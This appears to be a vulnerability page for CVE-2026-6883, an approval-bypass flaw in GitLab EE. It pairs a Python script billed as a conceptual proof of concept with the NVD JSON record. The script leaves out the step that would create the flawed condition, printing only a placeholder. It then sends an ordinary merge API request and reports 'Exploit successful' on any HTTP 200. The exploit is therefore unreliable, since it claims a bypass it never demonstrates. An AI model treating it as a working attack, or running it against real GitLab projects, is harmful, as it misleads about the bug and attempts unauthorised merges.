CVE-2026-6883

import requests # Conceptual Proof of Concept for CVE-2026-6883 # This script demonstrates the potential to bypass merge request approvals # due to improper cleanup of orphaned policy records. TARGET = "https://gitlab.example.com" TOKEN = "your_access_token" PROJECT_ID = "1" MR_IID = "2" headers = {"PRIVATE-TOKEN": TOKEN} def exploit(): # Step 1: Attacker authenticates and identifies a target Merge Request print(f"[*] Targeting MR {MR_IID} on Project {PROJECT_ID}...") # Step 2: Trigger the condition where orphaned policy records exist # (In a real scenario, this involves specific API interactions to create/del policies) print("[*] Simulating environment with orphaned policy records...") # Step 3: Attempt to accept the Merge Request without full approvals url = f"{TARGET}/api/v4/projects/{PROJECT_ID}/merge_requests/{MR_IID}/merge" payload = { "merge_when_pipeline_succeeds": True, "should_remove_source_branch": False } response = requests.put(url, headers=headers, json=payload) if response.status_code == 200: print("[+] Exploit successful! Merge Request accepted bypassing approval rules.") else: print(f"[-] Exploit failed. Status: {response.status_code}") print(response.text) if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-6883", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:25.117", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab EE affecting all versions from 15.7 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user to bypass merge request approval requirements due to improper cleanup of orphaned policy records."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 2.6, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/596350", "source": "[email protected]"}]}}